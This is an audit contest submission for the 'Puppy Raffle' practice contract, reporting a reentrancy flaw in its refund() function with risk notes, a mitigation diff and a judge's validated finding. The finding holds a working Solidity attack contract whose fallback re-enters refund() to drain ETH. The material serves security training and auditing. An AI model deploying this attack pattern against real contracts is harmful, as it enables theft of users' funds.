Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

refund() function is vulnerable to reentrancy, allowing attackers to drain raffle funds

Root + Impact

Description

The refund() function is meant to refund entranceFee back to players thats have entered the raffle.
The refund() function however performs an external ETH transfer before updating protocol state:

https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L103

https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L103

Since sendValue() forwards all remaining gas, a malicious contract can reenter refund() through its fallback/receive function before the player's state is cleared.

As a result, the attacker remains recognized as an active participant during reentrant execution and can repeatedly call refund() to receive multiple refunds for a single raffle entry.

Risk

Likelihood:

A mailacious user would see an oppotunity to drain the cotract of ETH

Impact:

An attacker can repeatedly drain ETH from the contract by recursively invoking refund() before state updates occur. This may lead to partial or complete loss of raffle funds belonging to other participants.

Proof of Concept

Attacker enters the raffle.

Attacker calls refund() using a malicious contract.
During the ETH transfer, the fallback function reenters refund().

Since players[playerIndex] has not yet been cleared, the contract processes another refund.

The attacker repeats this process until contract funds are exhausted.

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern by updating state before performing external calls and also Also the use of reentrancy guard from libraries like openzzeplin is ideal.

payable(msg.sender).sendValue(entranceFee); - remove this code
players[playerIndex] = address(0); - remove this code
//first effect changes
players[playerIndex] = address(0); + add this code
// then make the external call
payable(msg.sender).sendValue(entranceFee); + add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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